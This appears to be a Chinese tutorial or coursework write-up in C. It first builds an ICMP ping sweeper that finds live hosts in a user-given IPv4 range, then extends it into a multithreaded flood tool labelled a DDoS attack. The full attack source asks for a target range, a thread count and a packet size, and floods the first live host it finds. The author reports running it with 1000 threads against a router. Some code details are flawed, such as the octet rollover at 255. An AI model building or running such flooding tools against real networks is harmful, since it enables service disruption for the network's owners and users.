对指定IPv4地址段进行扫描获取有效IP
在设计该程序过程中,希望提供较强的交互能力,因此希望可以在用户指定的网段进行有效地址的筛查,这是便需要完成对输入IPv4地址合法性的检验工作。
首先明确IPv4地址格式。与IPv6格式不同,IPv4将描述地址的32位二进制数分为4部分,每部分8位进行表示,由于其32位二进制字符串过于冗长且不易分辨,因此采用将每8位转换成十进制数表示,中间加上英文句号做以分隔,最终以点分十进制数形式表示。因此IPv4地址4部分中的每一部分,数字范围都在0-255之间,且要求每部分除0外均不能以0开头;除点号“.”外不能出现其他非数字字符,且点号数量有且仅有三个。
因此,设计中使用valid_digit()函数来判断除点号外是否存在非数字字符。使用is_valid_ip()函数来判断是否为合法IPv4地址,其中,首先利用strtok()函数将字符串以点号进行分割,再利用atoi()函数将字符串转换为int型整数进行范围的判断;根据两步情况最终返回判断结果。具体代码如下:
int valid_digit(char *ip_str){
while(*ip_str){
if(*ip_str >= '0' && *ip_str <= '9')
++ip_str;
else
return 0;
}
return 1;
}
int is_valid_ip(char *ip_str){
int i, num, dots = 0;
char *ptr;
if(ip_str == NULL) return 0;
ptr = strtok(ip_str, ".");
if(ptr == NULL) return 0;
while(ptr){
if(!valid_digit(ptr)) return 0;
num = atoi(ptr);
if(num >= 0 && num <= 255){
ptr = strtok(NULL, ".");
if(ptr != NULL) dots++;
}
else return 0;
}
if(dots != 3) return 0;
return 1;
}
由于在用户指定范围内检测IPv4地址的有效性,因此存在从初始地址开始,完成IP地址自增的操作。同理,对原有地址进行划分后对每部分分别操作,最终再形成整合,如下:
char* GetNextIP(char *m_curip){
int i, j, num[4] = {
0, 0, 0, 0};
for(i = 0, j = 0; m_curip[i] != '\0'; i++, j++){
while((m_curip[i] != '.') && (m_curip[i] != '\0')){
num[j] = num[j] * 10 + m_curip[i] - '0';
i++;
}
}
if(num[3] + 1 == 255){
num[3] = 0;
num[2] += 1;
if(num[2] == 255){
num[2] = 0;
num[1] += 1;
if(num[1] == 255){
num[1] = 0;
num[0] += 1;
}
else num[1] += 1;
}
else num[2] += 1;
}
else num[3] += 1;
sprintf(m_curip, "%d.%d.%d.%d", num[0], num[1], num[2], num[3]);
return (m_curip);
}
验证地址的有效性可以通过发送数据包来查看回应情况,ICMP提供了该种协议。当发送方发送数据包到接收方时,若传送期间丢包或发生其他意外,将导致连接的失败;当在发送方指定时间内没有得到响应时,也认为该地址无效。ICMP提供的部分重要差错报文对应返回值入下:
返回值 | 差错提示 |
---|---|
0 | 回应送达 |
3 | 目标不可达 |
5 | 重定向或改变路由 |
8 | 回送请求 |
11 | 超时 |
因此,可利用ICMP.dll文件中的接口来发包和检测返回值。其中,pIcmpSendEcho()函数用于向目标IP地址发送报文信息,并收集目标地址回复信息,其包含8个参数,其函数原型为:DWORD WINAPI IcmpSendEcho(HANDLE IcmpHandle, IPAddr DestinationAddress, LPVOID RequestData, WORD RequestSize, PIP_OPTION_INFORMATION RequestOptions, LPVOID ReplyBuffer, DWORD ReplySize, DWORD Timeout)。其中,IcmpHandle是一个ICMP文件对象,其可以使用pIcmpCreateFile()函数获得;DestinationAddress可以由函数inet_addr()函数对合法IPv4字符串进行转换得到;RequestData为发送数据包的初始地址,RequestSize则为改数据包大小;RequestOptions可在加载“ICMP.dll”文件并进行初始化时进行设置;ReplyBuffer为目标地址接收到信息后返回信息的存储地址,ReplySize为返回信息大小,该大小可由内置参数ICMP_ECHO_REPLY来实时获得,但一般设置该大小比返回的ICMP_ECHO_REPLY值偏大一些,防止溢出或返回失败;Timeout则为指定的超时时间。因此该函数作为核心函数完成ICMP协议的执行验证任务,对“ICMP.dll”的初始化及该函数参数的获得均作为辅助手段,目标为完成该函数。最终形成该核心函数如下:
BOOL ping(char *dest_ip){
HANDLE hIP = pIcmpCreateFile();
ULONG addr_ip = inet_addr(dest_ip);
char package[] = "TEST!";
int backSize = sizeof(ICMP_ECHO_REPLY) + 32;
char back_package[backSize];
ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
DWORD nPackets = pIcmpSendEcho(hIP, addr_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
if(pEchoReply->Status != 0) {
pIcmpCloseHandle(hIP);
return 0;
}
pIcmpCloseHandle(hIP);
return 1;
}
具体完整代码如下:
#include<stdio.h>
#include<string.h>
#include<WinSock2.h>
#include<windows.h>
#include<iphlpapi.h>
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "Ws2_32.lib")
/*---定义函数三个指针类型---*/
typedef HANDLE (WINAPI* pfnHV)(VOID);
typedef BOOL (WINAPI* pfnBH)(HANDLE);
typedef DWORD (WINAPI* pfnDHDPWPipPDD)(HANDLE, DWORD, LPVOID, WORD, PIP_OPTION_INFORMATION, LPVOID, DWORD, DWORD);
/*---定义三个指针函数---*/
pfnHV pIcmpCreateFile;
pfnBH pIcmpCloseHandle;
pfnDHDPWPipPDD pIcmpSendEcho;
IP_OPTION_INFORMATION acPingBuffer;
int valid_digit(char *ip_str);
int is_valid_ip(char *ip_str);
int initICMP();
BOOL ping(char *dest_ip);
char *GetNextIP(char *m_curip);
int main(){
printf("请输入指定IPv4范围:\n");
char begin_ip[16], judge_ip[16];
int judge;
do{
printf("\t起始地址:");
scanf("%s", &begin_ip);
strcpy(judge_ip, begin_ip);
judge = is_valid_ip(judge_ip);
if(!judge) printf("------非法IPv4地址,请重新输入!------\n");
}while(!judge);
char end_ip[16];
do{
printf("\t终止地址:");
scanf("%s", &end_ip);
strcpy(judge_ip, end_ip);
judge = is_valid_ip(judge_ip);
if(!judge) printf("------非法IPv4地址,请重新输入!------\n");
}while(!judge);
if(!initICMP()){
system("pause");
return 0;
}
char now_ip[16];
strcpy(now_ip, begin_ip);
printf("------有效IPv4地址------\n");
while(strcmp(now_ip, end_ip) != 0){
if(ping(now_ip)) printf("%s\n", now_ip);
GetNextIP(now_ip);
}
return 0;
}
int valid_digit(char *ip_str){
while(*ip_str){
if(*ip_str >= '0' && *ip_str <= '9')
++ip_str;
else
return 0;
}
return 1;
}
int is_valid_ip(char *ip_str){
int i, num, dots = 0;
char *ptr;
if(ip_str == NULL) return 0;
ptr = strtok(ip_str, ".");
if(ptr == NULL) return 0;
while(ptr){
if(!valid_digit(ptr)) return 0;
num = atoi(ptr);
if(num >= 0 && num <= 255){
ptr = strtok(NULL, ".");
if(ptr != NULL) dots++;
}
else return 0;
}
if(dots != 3) return 0;
return 1;
}
int initICMP(){
// 装载ICMP.DLL连接库
HINSTANCE hIcmp = LoadLibrary("ICMP.DLL");
if(hIcmp == NULL){
printf("------装载ICMP库失败!------\n");
return 0;
}
//从ICMP.DLL中得到函数入口地址
pIcmpCreateFile = (pfnHV)GetProcAddress(hIcmp, "IcmpCreateFile");
pIcmpCloseHandle = (pfnBH)GetProcAddress(hIcmp, "IcmpCloseHandle");
pIcmpSendEcho = (pfnDHDPWPipPDD)GetProcAddress(hIcmp, "IcmpSendEcho");
if((pIcmpCreateFile == NULL) || (pIcmpCloseHandle == NULL) ||
(pIcmpSendEcho == NULL)){
printf("------函数载入失败!------\n");
return 0;
}
memset(&acPingBuffer, 0, sizeof(acPingBuffer));
acPingBuffer.Ttl = 128;
return 1;
}
BOOL ping(char *dest_ip){
HANDLE hIP = pIcmpCreateFile();
ULONG addr_ip = inet_addr(dest_ip);
char package[] = "TEST!";
int backSize = sizeof(ICMP_ECHO_REPLY) + 32;
char back_package[backSize];
ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
DWORD nPackets = pIcmpSendEcho(hIP, addr_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
if(pEchoReply->Status != 0) {
pIcmpCloseHandle(hIP);
return 0;
}
pIcmpCloseHandle(hIP);
return 1;
}
char* GetNextIP(char *m_curip){
int i, j, num[4] = {
0, 0, 0, 0};
for(i = 0, j = 0; m_curip[i] != '\0'; i++, j++){
while((m_curip[i] != '.') && (m_curip[i] != '\0')){
num[j] = num[j] * 10 + m_curip[i] - '0';
i++;
}
}
if(num[3] + 1 == 255){
num[3] = 0;
num[2] += 1;
if(num[2] == 255){
num[2] = 0;
num[1] += 1;
if(num[1] == 255){
num[1] = 0;
num[0] += 1;
}
else num[1] += 1;
}
else num[2] += 1;
}
else num[3] += 1;
sprintf(m_curip, "%d.%d.%d.%d", num[0], num[1], num[2], num[3]);
return (m_curip);
}
对编写的自动测试IPv4地址有效性程序进行测试。当输入IP地址非法时,提示错误输入并要求再次输入,如下:
当“起始地址”与“终止地址”均合法后,开始自动测试地址有效性,并返回有效地址信息,如下:
接下来,对自动检测出的有效地址的合法性利用“ping”命令再次检测,不妨使用地址“117.51.142.69”进行测试,如下:
观察到自编程序在指定范围内成功自动搜索到了一系列有效地址。
综上,成功完成了对指定IPv4地址段进行扫描获取有效IP。
DDoS攻击
DDoS攻击即为不断向目标IP发送报文请求但不接收返回报文,这将导致导量UDP及数据包对目标IP端口进行数据填充,导致正常TCP无法连接,而不得不加入等待队列或撤销TCP请求,最终导致TCP被饿死。
由于在进行有效地址搜索的设计中,已经完成了发送数据包的功能,因此直接在此基础上进行增加线程操作即可。首先对ping()函数进行简化,去掉验证返回值的部分,由于此时目标地址IP已经固定,因此直接使用inet_addr()函数对其进行转换,避免函数中对该操作的重复。设计attack()函数作为进程的主体,其中完成100次循环向目标地址发送数据包的任务。
创建进程的数量和数据包的大小由用户指定,需要注意的是,进程使用detach方法不影响进程的销毁,如果在销毁前进程发生改变,则会导致进程任务的失败,因此在最后一个进程创建的过程中应使用方法join来防止该现象的发生。主函数中创建进程代码如下:
//创建进程
for(int i = 0; i < thread_num - 1; i++){
thread task(attack, attack_ip, package_size);
task.detach();
}
thread task(attack, attack_ip, package_size);
task.join();
攻击函数attack()如下,其中UDP函数为ping函数的简化版:
void attack(ULONG attack_ip, int package_size){
for(int i = 0; i < 1000; i++){
UDP(attack_ip, package_size);
Sleep(10);
}
}
void UDP(ULONG attack_ip, int package_size){
HANDLE hIP = pIcmpCreateFile();
char package[package_size];
int backSize = sizeof(ICMP_ECHO_REPLY) + 10000;
char back_package[backSize];
ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
DWORD nPackets = pIcmpSendEcho(hIP, attack_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
pIcmpCloseHandle(hIP);
return;
}
具体完整代码如下:
#include<stdio.h>
#include<string.h>
#include<WinSock2.h>
#include<windows.h>
#include<iphlpapi.h>
#include<thread>
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "Ws2_32.lib")
using namespace std;
/*---定义函数三个指针类型---*/
typedef HANDLE (WINAPI* pfnHV)(VOID);
typedef BOOL (WINAPI* pfnBH)(HANDLE);
typedef DWORD (WINAPI* pfnDHDPWPipPDD)(HANDLE, DWORD, LPVOID, WORD, PIP_OPTION_INFORMATION, LPVOID, DWORD, DWORD);
/*---定义三个指针函数---*/
pfnHV pIcmpCreateFile;
pfnBH pIcmpCloseHandle;
pfnDHDPWPipPDD pIcmpSendEcho;
IP_OPTION_INFORMATION acPingBuffer;
/*---自定义函数---*/
int valid_digit(char *ip_str);
int is_valid_ip(char *ip_str);
int initICMP();
BOOL ping_ip(char *dest_ip, int package_size);
char *GetNextIP(char *m_curip);
void attack(ULONG attack_ip, int package_size);
void UDP(ULONG attack_ip, int package_size);
int main(){
printf("请输入要攻击的IPv4范围:\n");
char begin_ip[16], judge_ip[16];
int judge;
do{
printf("\t起始地址:");
scanf("%s", &begin_ip);
strcpy(judge_ip, begin_ip);
judge = is_valid_ip(judge_ip);
if(!judge) printf("------非法IPv4地址,请重新输入!------\n");
}while(!judge);
char end_ip[16];
do{
printf("\t终止地址:");
scanf("%s", &end_ip);
strcpy(judge_ip, end_ip);
judge = is_valid_ip(judge_ip);
if(!judge) printf("------非法IPv4地址,请重新输入!------\n");
}while(!judge);
int thread_num;
printf("请输入线程数量:");
scanf("%d", &thread_num);
int package_size;
printf("请输入攻击数据包大小:");
scanf("%d", &package_size);
if(!initICMP()){
system("pause");
return 0;
}
char now_ip[16];
strcpy(now_ip, begin_ip);
printf("------开始获取有效IPv4地址------\n");
while(strcmp(now_ip, end_ip) != 0){
if(ping_ip(now_ip, package_size)){
printf("已找到目标IP地址:%s\n------开始攻击!------\n", now_ip);
break;
}
GetNextIP(now_ip);
}
ULONG attack_ip = inet_addr(now_ip);
//创建进程
for(int i = 0; i < thread_num - 1; i++){
thread task(attack, attack_ip, package_size);
task.detach();
}
thread task(attack, attack_ip, package_size);
task.join();
return 0;
}
void attack(ULONG attack_ip, int package_size){
for(int i = 0; i < 1000; i++){
UDP(attack_ip, package_size);
Sleep(10);
}
}
void UDP(ULONG attack_ip, int package_size){
HANDLE hIP = pIcmpCreateFile();
char package[package_size];
int backSize = sizeof(ICMP_ECHO_REPLY) + 10000;
char back_package[backSize];
ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
DWORD nPackets = pIcmpSendEcho(hIP, attack_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
pIcmpCloseHandle(hIP);
return;
}
int valid_digit(char *ip_str){
while(*ip_str){
if(*ip_str >= '0' && *ip_str <= '9')
++ip_str;
else
return 0;
}
return 1;
}
int is_valid_ip(char *ip_str){
int i, num, dots = 0;
char *ptr;
if(ip_str == NULL) return 0;
ptr = strtok(ip_str, ".");
if(ptr == NULL) return 0;
while(ptr){
if(!valid_digit(ptr)) return 0;
num = atoi(ptr);
if(num >= 0 && num <= 255){
ptr = strtok(NULL, ".");
if(ptr != NULL) dots++;
}
else return 0;
}
if(dots != 3) return 0;
return 1;
}
int initICMP(){
// 装载ICMP.DLL连接库
HINSTANCE hIcmp = LoadLibrary("ICMP.DLL");
if(hIcmp == NULL){
printf("------装载ICMP库失败!------\n");
return 0;
}
//从ICMP.DLL中得到函数入口地址
pIcmpCreateFile = (pfnHV)GetProcAddress(hIcmp, "IcmpCreateFile");
pIcmpCloseHandle = (pfnBH)GetProcAddress(hIcmp, "IcmpCloseHandle");
pIcmpSendEcho = (pfnDHDPWPipPDD)GetProcAddress(hIcmp, "IcmpSendEcho");
if((pIcmpCreateFile == NULL) || (pIcmpCloseHandle == NULL) ||
(pIcmpSendEcho == NULL)){
printf("------函数载入失败!------\n");
return 0;
}
memset(&acPingBuffer, 0, sizeof(acPingBuffer));
acPingBuffer.Ttl = 128;
return 1;
}
BOOL ping_ip(char *dest_ip, int package_size){
HANDLE hIP = pIcmpCreateFile();
ULONG addr_ip = inet_addr(dest_ip);
char package[package_size];
int backSize = sizeof(ICMP_ECHO_REPLY) + 32;
char back_package[backSize];
ICMP_ECHO_REPLY* pEchoReply = (ICMP_ECHO_REPLY*)back_package;
DWORD nPackets = pIcmpSendEcho(hIP, addr_ip, package, 32, &acPingBuffer, back_package, backSize, 1000);
if(pEchoReply->Status != 0) {
pIcmpCloseHandle(hIP);
return 0;
}
pIcmpCloseHandle(hIP);
return 1;
}
char* GetNextIP(char *m_curip){
int i, j, num[4] = {
0, 0, 0, 0};
for(i = 0, j = 0; m_curip[i] != '\0'; i++, j++){
while((m_curip[i] != '.') && (m_curip[i] != '\0')){
num[j] = num[j] * 10 + m_curip[i] - '0';
i++;
}
}
if(num[3] + 1 == 255){
num[3] = 0;
num[2] += 1;
if(num[2] == 255){
num[2] = 0;
num[1] += 1;
if(num[1] == 255){
num[1] = 0;
num[0] += 1;
}
else num[1] += 1;
}
else num[2] += 1;
}
else num[3] += 1;
sprintf(m_curip, "%d.%d.%d.%d", num[0], num[1], num[2], num[3]);
return (m_curip);
}
对该程序进行测试,首先明确要ping的IP地址,查看路由器,得知该路由器IPv4地址为“192.168.1.1”,在cmd中使用ping命令查看是否可以ping通,如下:
观察到该地址可以作为攻击地址使用。
打开程序输入目标地址后,设置线程数量为1000,数据包大小为64,进行攻击。观察到CPU线程数量由原来的2733增长到3774,线程成功打开且CPU占有率直线上升,如下:
开始攻击后CPU占有量如下:
继续对网络状态进行对比,观察到网络出现明显的拥塞现象,且该现象一直持续,直至攻击结束,如下:
攻击结束,网络状态出现断崖式下跌,且发送、接收速度跌回0。图中可以观察到,下滑前网络状态波形图和攻击时保持一致,说明网络拥塞是由于攻击而产生的,即DDoS攻击成功,如下:
综上,DDoS攻击成功。